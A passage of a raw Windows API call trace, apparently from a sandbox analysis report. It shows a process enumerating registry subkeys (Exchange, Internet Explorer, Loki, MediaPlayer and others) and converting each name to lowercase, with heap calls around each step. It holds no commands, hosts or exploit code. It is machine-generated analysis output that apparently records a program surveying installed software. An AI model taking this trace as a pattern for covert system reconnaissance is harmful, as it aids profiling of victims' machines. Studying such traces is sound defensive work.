lpUsedDefaultChar=0x0) returned 11 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.696] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x49b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.696] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x49b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.696] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.696] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x49b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.697] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x49b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.697] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x49b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.697] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x49b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x49c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0221.697] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.697] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.697] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x49b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.698] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x49b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.698] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x49b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.698] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x49b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0221.698] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.698] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.699] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x49b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x49c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.699] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x49b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.699] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x49b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.699] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.699] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x49b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.699] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0221.700] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.700] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.700] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.700] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.700] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x49b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0221.700] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.701] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x49c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.701] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.701] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0221.701] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.701] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x49b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0221.702] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.702] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0221.702] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.702] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.702] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.702] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x49b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0221.702] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.702] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x49b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x49c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x49b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 